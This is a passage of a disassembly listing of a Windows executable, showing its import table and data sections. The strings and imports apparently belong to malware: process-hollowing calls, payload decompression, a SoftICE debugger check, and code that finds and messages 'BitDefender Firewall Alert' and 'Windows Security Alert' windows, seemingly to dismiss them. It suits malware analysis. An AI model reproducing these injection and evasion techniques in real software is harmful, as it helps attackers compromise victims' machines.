XREF: ___crtGetStringTypeA+19Cp ; DATA XREF: ___crtGetStringTypeA+19Cr ; BOOL __stdcall GetStringTypeW(DWORD dwInfoType, LPCWSTR lpSrcStr, int cchSrc, LPWORD lpCharType) extrn GetStringTypeW:dword ; CODE XREF: ___crtGetStringTypeA+24p ; ___crtGetStringTypeA+128p ; DATA XREF: ... ; int __stdcall GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData) extrn GetLocaleInfoA:dword ; CODE XREF: ___ansicp+20p ; DATA XREF: ___ansicp+20r ; BOOL __stdcall VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) extrn VirtualProtect:dword ; CODE XREF: __resetstkoflw+D5p ; DATA XREF: __resetstkoflw+D5r ; void __stdcall GetSystemInfo(LPSYSTEM_INFO lpSystemInfo) extrn GetSystemInfo:dword ; CODE XREF: __resetstkoflw+2Bp ; DATA XREF: __resetstkoflw+2Br ; BOOL __stdcall TerminateProcess(HANDLE hProcess, UINT uExitCode) extrn TerminateProcess:dword ; CODE XREF: _doexit+1Ap ; DATA XREF: _doexit+1Ar ; BOOL __stdcall FreeLibrary(HMODULE hLibModule) extrn FreeLibrary:dword ; CODE XREF: sub_401000+77p ; DATA XREF: sub_401000+77r ; ; Imports from USER32.dll ; ; HWND __stdcall FindWindowA(LPCSTR lpClassName, LPCSTR lpWindowName) extrn FindWindowA:dword ; CODE XREF: StartAddress+12p ; StartAddress+23p ... ; int __stdcall MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) extrn MessageBoxA:dword ; CODE XREF: sub_401612+8Ep ; DATA XREF: sub_401612+8Er ; LRESULT __stdcall SendMessageA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) extrn SendMessageA:dword ; CODE XREF: StartAddress+43p ; StartAddress+6Fp ... ; BOOL __stdcall IsWindow(HWND hWnd) extrn IsWindow:dword ; CODE XREF: StartAddress+56p ; StartAddress+86p ; DATA XREF: ... ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 40611Ch align 10h ; char aRtlgetcompress[] aRtlgetcompress db 'RtlGetCompressionWorkSpaceSize',0 ; DATA XREF: sub_401000+3Co align 10h ; char ProcName[] ProcName db 'RtlDecompressBuffer',0 ; DATA XREF: sub_401000+34o ; char LibFileName[] LibFileName db 'ntdll.dll',0 ; DATA XREF: sub_401000+1Co ; sub_4058A2+5o align 10h ; char Text[] Text db 'gsfdgsfdgsfdgretsfdhgsfdhgfd',0 ; DATA XREF: sub_401612+87o align 10h ; char Caption[] Caption db 'ytryi90ue turet sret trshgfdjh gfdhfdg',0 ; DATA XREF: sub_401612+82o align 4 ; char ModuleName[] ModuleName db 'kernel32.dll',0 ; DATA XREF: sub_4016ED+DDo ; WinMain(x,x,x,x)+81o ... align 4 ; char aWriteprocessme[] aWriteprocessme db 'WriteProcessMemory',0 ; DATA XREF: sub_4016ED+D8o ; WinMain(x,x,x,x)+11Fo align 4 ; char aKari[] aKari db 'kari',0 ; DATA XREF: sub_401868+C9o align 4 ; char aCurrentuser[] aCurrentuser db 'CurrentUser',0 ; DATA XREF: sub_40194D+47o ; char String1[] String1 db 'USER',0 ; DATA XREF: sub_40194D+38o align 4 ; char FileName[] FileName db '\\.\NTICE',0 ; DATA XREF: sub_4019A8+12o align 4 ; char aKernel32_dll_0[] aKernel32_dll_0 db 'KERNEL32.dll',0 ; DATA XREF: sub_4019D8+Ao align 4 ; char aCreateprocessa[] aCreateprocessa db 'CreateProcessA',0 ; DATA XREF: sub_4019D8+5o align 4 ; char aBitdefenderFir[] aBitdefenderFir db 'BitDefender Firewall Alert',0 ; DATA XREF: StartAddress:loc_401A34o align 10h ; char WindowName[] WindowName db 'Windows Security Alert',0 ; DATA XREF: StartAddress+Ao align 4 ; char aVirtualalloc[] aVirtualalloc db 'VirtualAlloc',0 ; DATA XREF: WinMain(x,x,x,x)+7Co align 4 ; char aReadprocessmem[] aReadprocessmem db 'ReadProcessMemory',0 ; DATA XREF: sub_405868o align 4 ; char aSetthreadconte[] aSetthreadconte db 'SetThreadContext',0 ; DATA XREF: sub_405885o align 10h ; char aNtunmapviewofs[] aNtunmapviewofs db 'NtUnmapViewOfSection',0 ; DATA XREF: sub_4058A2o align 4 ; const CHAR stru_406298 stru_406298 _msEH <0FFFFFFFFh, offset loc_4022F4, offset loc_402308> ; DATA XREF: start+2o ; char aCorexitprocess[] aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: unknown_libname_1+Fo align 4 ; char aMscoree_dll[] aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: unknown_libname_1o aRuntimeError db 'runtime error ',0 align 10h db 0Dh,0Ah,0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 8 aR6029ThisAppli db 'R6029',0Dh,0Ah db '- This application cannot run using the active version of the Mic' db 'rosoft .NET Runtime',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_408064o db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+123o ; ___security_error_handler+132o align 10h ; char asc_406690[] asc_406690 db 0Ah ; DATA XREF: __NMSG_WRITE+107o ; ___security_error_handler+FCo db 0Ah,0 align 4 ; char aRuntimeErrorPr[] aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o db 0Ah db 'Program: ',0 align 10h ; char a___[] a___ db '...',0 ; DATA XREF: __NMSG_WRITE+C1o ; ___security_error_handler+CCo ; char aProgramNameUnk[] aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+8Eo ; ___security_error_handler+8Bo byte_4066CB db 0 ; DATA XREF: __wincmdln+1Bo align 10h stru_4066D0 _msEH <0FFFFFFFFh, offset loc_4039BF, offset loc_4039C3> ; DATA XREF: sub_403992+2o align 10h stru_4066E0 _msEH <0FFFFFFFFh, offset loc_403A03, offset loc_403A07> ; DATA XREF: sub_4039D6+2o ; char aGetprocesswind[] aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o ; char aGetuserobjecti[] aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o align 10h ; char aGetlastactivep[] aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o align 4 ; char aGetactivewindo[] aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+3Fo ; char aMessageboxa[] aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+2Eo ; char aUser32_dll[] aUser32_dll db 'user32.dll',0 ; DATA XREF: ___crtMessageBoxA+13o align 10h stru_406760 _msEH <0FFFFFFFFh, offset sub_404301, offset sub_404305> ; DATA XREF: sub_404315-2Fo ; char aProgram[] aProgram db 'Program: ',0 ; DATA XREF: ___security_error_handler+108o align 4 aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra' ; DATA XREF: ___security_error_handler+62o db 'm',27h,'s',0Ah db 'internal state. The program cannot safely continue execution and' db ' must',0Ah db 'now be terminated.',0Ah,0 aBufferOverrunD db 'Buffer overrun detected!',0 ; DATA XREF: ___security_error_handler:loc_404CFCo align 8 aASecurityError db 'A security error of unknown cause has been detected which has',0Ah ; DATA XREF: ___security_error_handler+4Co db 'corrupted the program',27h,'s internal state. The program cannot sa' db 'fely',0Ah db 'continue execution and must now be terminated.',0Ah,0 align 4 ; char aUnknownSecurit[] aUnknownSecurit db 'Unknown security failure detected!',0 ; DATA XREF: ___security_error_handler+47o align 10h stru_406910 _msEH <0FFFFFFFFh, offset loc_404CD7, offset loc_404CDB> ; DATA XREF: ___security_error_handler+5o dd 41h dup(0) asc_406A20: ; DATA XREF: .data:off_4082A0o unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) dword_406C20 dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h ; DATA XREF: .data:004082A4o dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h) dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h) dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h) dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 dup(100010h) dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h) dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h) dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h ; const WCHAR SrcStr SrcStr dw 0 ; DATA XREF: ___crtLCMapStringA+1Co ; ___crtGetStringTypeA+1Eo align 4 stru_406E28 _msEH <0FFFFFFFFh, offset loc_4050E0, offset loc_4050E4> ; DATA XREF: ___crtLCMapStringA+2o dd 0FFFFFFFFh, 404EDDh, 404EE1h, 0FFFFFFFFh, 404FABh, 404FAFh dd 0 stru_406E50 _msEH <0FFFFFFFFh, offset loc_40527C, offset loc_405280> ; DATA XREF: ___crtGetStringTypeA+2o align 10h stru_406E60 _msEH <0FFFFFFFFh, offset loc_405472, offset loc_405476> ; DATA XREF: ___convertcp+2o align 10h dd 48h, 0Eh dup(0) dd offset dword_408190 dd offset dword_406EC0 dd 2, 2 dup(0) dword_406EC0 dd 3A70h, 47A8h, 0dword_406ECC dd 2 dup(0) ; sub_403992:loc_4039A5o dword_406ED4 dd 0 ; sub_4039D6:loc_4039E9o dd 6F30h, 2 dup(0) dd 74A0h, 6008h, 7034h, 2 dup(0) dd 74E6h, 610Ch, 6F28h, 2 dup(0) dd 7502h, 6000h, 5 dup(0) dd 74F2h, 0 dd 7068h, 7078h, 708Ah, 709Eh, 70B0h, 70C4h, 70D8h, 70EAh dd 70FAh, 7106h, 7114h, 7122h, 712Eh, 713Ch, 7150h, 7164h dd 716Ch, 7182h, 7192h, 71A8h, 71B4h, 71C6h, 71D8h, 71E8h dd 71F6h, 7204h, 7212h, 721Eh, 722Eh, 723Ch, 7056h, 725Eh dd 726Ah, 727Ah, 7296h, 72B0h, 72C8h, 72E2h, 72F8h, 7308h dd 7322h, 7334h, 7342h, 734Ch, 7358h, 7364h, 7370h, 7386h dd 7396h, 73A2h, 73BCh, 73CCh, 73E2h, 73F8h, 7412h, 7422h dd 7438h, 7448h, 745Ah, 746Ch, 747Eh, 7490h, 724Ah, 7048h dd 0 dd 74D8h, 74AEh, 74C8h, 74BCh, 0 db 0EFh ; ï align 2 aFreelibrary db 'FreeLibrary',0 dw 198h aGetprocaddress db 'GetProcAddress',0 align 4 db 48h ; H db 2, 4Ch, 6Fh aAdlibrarya db 'adLibraryA',0 align 4 db 7Ch ; | db 3, 56h, 69h aRtualqueryex db 'rtualQueryEx',0 align 2 dw 1CDh aGetthreadconte db 'GetThreadContext',0 align 2 db '`',0 aCreateproces_0 db 'CreateProcessA',0 align 10h db 77h ; w db 1, 47h, 65h aTmodulehandlea db 'tModuleHandleA',0 align 4 db 7Ah ; z db 3, 56h, 69h aRtualprotectex db 'rtualProtectEx',0 align 4 db 74h ; t db 3, 56h, 69h aRtualallocex db 'rtualAllocEx',0 align 2 dw 2C5h aResumethread db 'ResumeThread',0 align 2 dw 2A9h aReadfile db 'ReadFile',0 align 2 dw 15Bh aGetfilesize db 'GetFileSize',0 aM db 'M',0 aCreatefilea db 'CreateFileA',0 dw 3B0h aLstrcmpa db 'lstrcmpA',0 align 2 a_ db '.',0 aClosehandle db 'CloseHandle',0 db 0ACh ; ¬ db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 db 3Ah ; : db 1, 47h, 65h aTcurrentproces db 'tCurrentProcess',0 db 47h ; G db 3, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 0Ch db 3, 53h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 aI db 'i',0 aCreatethread db 'CreateThread',0 align 2 dw 175h aGetmodulefilen db 'GetModuleFileNameA',0 align 4 dd 65480206h, 6C417061h, 636F6Ch, 654701AFh, 61745374h dd 70757472h, 6F666E49h, 1080041h, 43746547h, 616D6D6Fh dd 694C646Eh, 41656Eh, 654701DFh, 72655674h, 6E6F6973h dd 417845h, 6548020Ah, 65447061h, 6F727473h, 2080079h dd 70616548h, 61657243h, 6574h, 69560376h, 61757472h, 6572466Ch dd 20C0065h, 70616548h, 65657246h, 3730000h, 74726956h dd 416C6175h, 636F6C6Ch, 2100000h, 70616548h, 6C416552h dd 636F6Ch, 784500AFh, 72507469h, 7365636Fh, 34F0073h dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 3940000h dd 74697257h, 6C694665h, 1B10065h, 53746547h, 61486474h dd 656C646Eh, 3600000h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 2 aA db 'í',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 db 4Dh ; M db 1, 47h, 65h aTenvironmentst db 'tEnvironmentStrings',0 aU db 'î',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 387h aWidechartomult db 'WideCharToMultiByte',0 db 69h ; i db 1, 47h, 65h aTlasterror db 'tLastError',0 align 4 db 4Fh ; O db 1, 47h, 65h aTenvironment_0 db 'tEnvironmentStringsW',0 align 2 dw 317h aSethandlecount db 'SetHandleCount',0 align 4 db 5Eh ; ^ db 1, 47h, 65h aTfiletype db 'tFileType',0 dw 0F5h aGetacp db 'GetACP',0 align 4 db 8Bh ; ‹ db 1, 47h, 65h aToemcp db 'tOEMCP',0 align 4 db 0FCh ; ü align 2 aGetcpinfo db 'GetCPInfo',0 db 0CAh ; Ê db 2, 52h, 74h aLunwind db 'lUnwind',0 db 1Fh db 2, 49h, 6Eh aTerlockedexcha db 'terlockedExchange',0 dw 37Bh aVirtualquery db 'VirtualQuery',0 align 2 dw 212h aHeapsize db 'HeapSize',0 align 2 dw 297h aQueryperforman db 'QueryPerformanceCounter',0 db 0D5h ; Õ db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 4 db 3Eh ; > db 1, 47h, 65h aTcurrentthread db 'tCurrentThreadId',0 align 2 dw 13Bh aGetcurrentproc db 'GetCurrentProcessId',0 db 0C0h ; À db 1, 47h, 65h aTsystemtimeasf db 'tSystemTimeAsFileTime',0 dw 23Ah aLcmapstringa db 'LCMapStringA',0 align 2 dw 26Bh aMultibytetowid db 'MultiByteToWideChar',0 dd 434C023Bh, 5370614Dh, 6E697274h, 5767h, 654701B2h, 72745374h dd 54676E69h, 41657079h, 1B50000h, 53746547h, 6E697274h dd 70795467h, 5765h, 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh dd 3790000h, 74726956h, 506C6175h, 65746F72h, 7463h, 654701BBh dd 73795374h, 496D6574h, 6F666Eh, 4E52454Bh, 32334C45h dd 6C6C642Eh, 1DE0000h, 7373654Dh, 42656761h, 41786Fh dd 734901ADh, 646E6957h, 776Fh, 6553023Bh, 654D646Eh, 67617373h dd 4165h, 694600E3h, 6957646Eh, 776F646Eh, 53550041h, 32335245h dd 6C6C642Eh, 1230000h, 55746547h, 4E726573h, 41656D61h dd 44410000h, 49504156h, 642E3233h, 6C6Ch, 3Ch dup(0) _rdata ends ; Section 3. (virtual address 00008000) ; Virtual size : 0002E85C ( 190556.) ; Section size in file : 00000400 ( 1024.) ; Offset to raw data for section: 00006400 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 408000h dword_408000 dd 0 dd offset ___security_init_cookie dd offset sub_405868 dd offset sub_405885 dd offset sub_4058A2 dword_408014 dd 0 dword_408018 dd 0 dd offset ___onexitinit dd offset ___initmbctable dword_408024 dd 0 dword_408028 dd 0 dword_40802C dd 0 dword_408030 dd 0 dword_408034 dd 3 dup(0) dword_408040 dd 6800h ; sub_4011C7+A1r ... align 10h off_408050 dd offset __exit ; DATA XREF: __amsg_exit+1Cr dword_408054 dd 2 ; __FF_MSGBANNER+Er dd 10h, 0 dword_408060 dd 2 ; __NMSG_WRITE+3Ar off_408064 dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r ; __NMSG_WRITE+112r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 406614h, 9, 4065E8h, 0Ah, 406550h, 10h, 406524h dd 11h, 4064F4h, 12h, 4064D0h, 13h, 4064A4h, 18h, 40646Ch dd 19h, 406444h, 1Ah, 40640Ch, 1Bh, 4063D4h, 1Ch, 4063ACh dd 1Dh, 406308h, 78h, 4062F4h, 79h, 4062E4h, 7Ah, 4062D4h dd 0FCh, 4062D0h, 0FFh, 4062C0h dword_4080F8 dd 0C0000005h, 0Bh, 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_408170 dd 3 dword_408174 dd 7 dword_408178 dd 0Ah dword_40817C dd 8Ch ; __XcptFilter+BAw ... dd 0FFFFFFFFh, 0A80h, 2 dup(0) dword_408190 dd 0BB40E64Eh ; sub_404315r ... align 8 byte_408198 db 1 ; DATA XREF: __setmbcp+120r db 2, 4, 8 align 10h dword_4081A0 dd 3A4h dword_4081A4 dd 82798260h dd 21h, 0 dword_4081B0 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_408290 dd 19930520h, 3 dup(0) ; __NLG_Notify+2o off_4082A0 dd offset asc_406A20 ; DATA XREF: _x_ismbbtype+18r ; __ismbcspace:loc_4057A1r ... ; " ((((( H" dd offset dword_406C20+2 dd 1, 0 dword_4082B0 dd 1 dd 2Eh, 1, 0 byte_4082C0 db 0 ; DATA XREF: sub_4011C7+49w ; sub_401424+2Ew ... align 4 dword_4082C4 dd 0 ; sub_4011C7+Er ... ; HANDLE hFile hFile dd 0 ; DATA XREF: sub_401868+24w ; sub_401868+4Dr byte_4082CC db 0 ; DATA XREF: sub_4011C7+1Bw ; sub_4011C7+43w ... align 10h ; HANDLE hThread hThread dd 0 ; DATA XREF: sub_4016ED+150w ; sub_401854r ; struct _MEMORY_BASIC_INFORMATION Buffer Buffer _MEMORY_BASIC_INFORMATION <0> ; DATA XREF: sub_4015FA+4o ; sub_401612:loc_4016A6r dd 2 dup(0) dword_4082F8 dd 0 byte_4082FC db 0 ; DATA XREF: sub_4011C7+2Bw ; sub_4011C7+34w ... align 10h byte_408300 db 0 ; DATA XREF: sub_4011A2+17w ; sub_4011C7+85o ... dword_408301 dd 0 ; sub_4011C7+C4r ... align 4 dd 4 dup(0) byte_408318 db 0 ; DATA XREF: sub_4011C7+B5w align 4 dd 9 dup(0) byte_408340 db 0 ; DATA XREF: sub_4011C7+62w align 4 dd 27h dup(0) byte_4083E0 db 0 ; DATA XREF: sub_4011C7+113w align 4 dd 7 dup(0) dd 0B7AAh dup(?) dword_4362A8 dd ? ; int dword_4362AC dword_4362AC dd ? ; WinMain(x,x,x,x)+15Er ... dword_4362B0 dd ? ; WinMain(x,x,x,x)+196r byte_4362B4 db ? ; DATA XREF: sub_401854+6w ; WinMain(x,x,x,x)+1A4w align 4 ; DWORD nNumberOfBytesToRead nNumberOfBytesToRead dd ? ; DATA XREF: sub_4011C7+25r ; sub_401868+2Fw ... dword_4362BC dd ? ; sub_4016ED+74w ... dword_4362C0 dd ? ; resolved to->KERNEL32.ReadProcessMemory ; sub_405868+17w dword_4362C4 dd ? ; resolved to->NTDLL.ZwUnmapViewOfSection ; sub_4058A2+17w dword_4362C8 dd ? ; resolved to->KERNEL32.SetThreadContext ; sub_405885+17w ; char *Str Str dd ? ; DATA XREF: start+11Cw ; __setenvp:loc_403402r ... dd ? dword_4362D4 dd ? dword_4362D8 dd ? ; int dword_4362DC dword_4362DC dd ? ; _realloc:loc_404BA8r ... dd 3 dup(?) dword_4362EC dd ? dword_4362F0 dd ? dword_4362F4 dd ? dword_4362F8 dd ? ; ___heap_select+9r ... dword_4362FC dd ? dword_436300 dd ? dword_436304 dd ? dd ? ; void *dword_43630C dword_43630C dd ? ; __setenvp:loc_4034A1r ... dd 3 dup(?) dword_43631C dd ? dd ? byte_436324 db ? ; DATA XREF: _doexit+2Dw align 4 dword_436328 dd ? dword_43632C dd ? dword_436330 dd ? dword_436334 dd ? ; __XcptFilter+73w ... ; char Filename[] Filename db 104h dup(?) ; DATA XREF: __setargv+1Co byte_43643C db ? ; DATA XREF: __setargv+23w align 10h dword_436440 dd ? ; ___crtGetEnvironmentStringsA+24w ... dword_436444 dd ? ; ___crtMessageBoxA+38w ... dword_436448 dd ? ; ___crtMessageBoxA:loc_40407Er dword_43644C dd ? ; ___crtMessageBoxA+D6r dword_436450 dd ? ; ___crtMessageBoxA:loc_404039r dword_436454 dd ? ; ___crtMessageBoxA+9Cr dword_436458 dd ? ; __setmbcp+21w ... align 10h dword_436460 dd ? ; __ValidateEH3RN+13Fr ... align 8 dword_436468 dd ? ; __ValidateEH3RN+1C4r ... dd 0Fh dup(?) ; volatile LONG Target Target dd ? ; DATA XREF: __ValidateEH3RN+12Co ; __ValidateEH3RN+191o ... dword_4364AC dd ? dd 2 dup(?) ; LCID dword_4364B8 dword_4364B8 dd ? ; ___crtGetStringTypeA+14Ar ... dd 3 dup(?) ; UINT dword_4364C8 dword_4364C8 dd ? ; ___crtLCMapStringA+9Dr ... align 10h dword_4364D0 dd ? ; ___crtLCMapStringA+31w ... dword_4364D4 dd ? ; ___crtGetStringTypeA+2Ew ... ; LCID Locale Locale dd ? ; DATA XREF: _setSBCS+1Aw ; _setSBUpLow+84r ... dword_4364DC dd ? ; __setmbcp+14Dw ... byte_4364E0 db ? ; DATA XREF: _setSBCS+6o __setmbcp+A7o ... byte_4364E1 db ? ; DATA XREF: _parse_cmdline+47r ; _parse_cmdline+11Dr ... align 4 dd 40h dup(?) ; UINT CodePage CodePage dd ? ; DATA XREF: _setSBCS+10w ; _setSBUpLow+16r ... align 10h dword_4365F0 dd 4 dup(?) ; __setmbcp+162o ... byte_436600 db ? ; DATA XREF: _setSBUpLow:loc_4044D1w ; _setSBUpLow:loc_4044EEw ... align 4 dd 3Fh dup(?) ; UINT uNumber uNumber dd ? ; DATA XREF: __ioinit+1Fw ; __ioinit:loc_403870r ... dd 7 dup(?) dword_436720 dd ? ; __ioinit+3Cr ... dword_436724 dd 3Fh dup(?) dword_436820 dd ? dword_436824 dd ? ; _doexit:loc_402FC3r ... ; void *dword_436828 dword_436828 dd ? dword_43682C dd ? ; __setenvp+3r ... dword_436830 dd ? ; void *dword_436834 dword_436834 dd ? ; ___sbh_free_block+21Cr ... dword_436838 dd ? ; ___sbh_find_blockr ... ; LPVOID lpMem lpMem dd ? ; DATA XREF: ___sbh_heap_init+15w ; ___sbh_find_block+8r ... dword_436840 dd ? ; ___sbh_heap_init+36w ... dword_436844 dd ? ; ___sbh_free_block+300w ... dword_436848 dd ? ; ___sbh_alloc_new_region+5r ... dword_43684C dd ? ; ___sbh_free_block+249r ... ; HANDLE hHeap hHeap dd ? ; DATA XREF: __heap_alloc+38r ; __heap_init+19w ... dword_436854 dd ? ; __heap_alloc:loc_401C90r ... dword_436858 dd ? ; __wincmdln:loc_4033A4r ... align 200h _data ends end start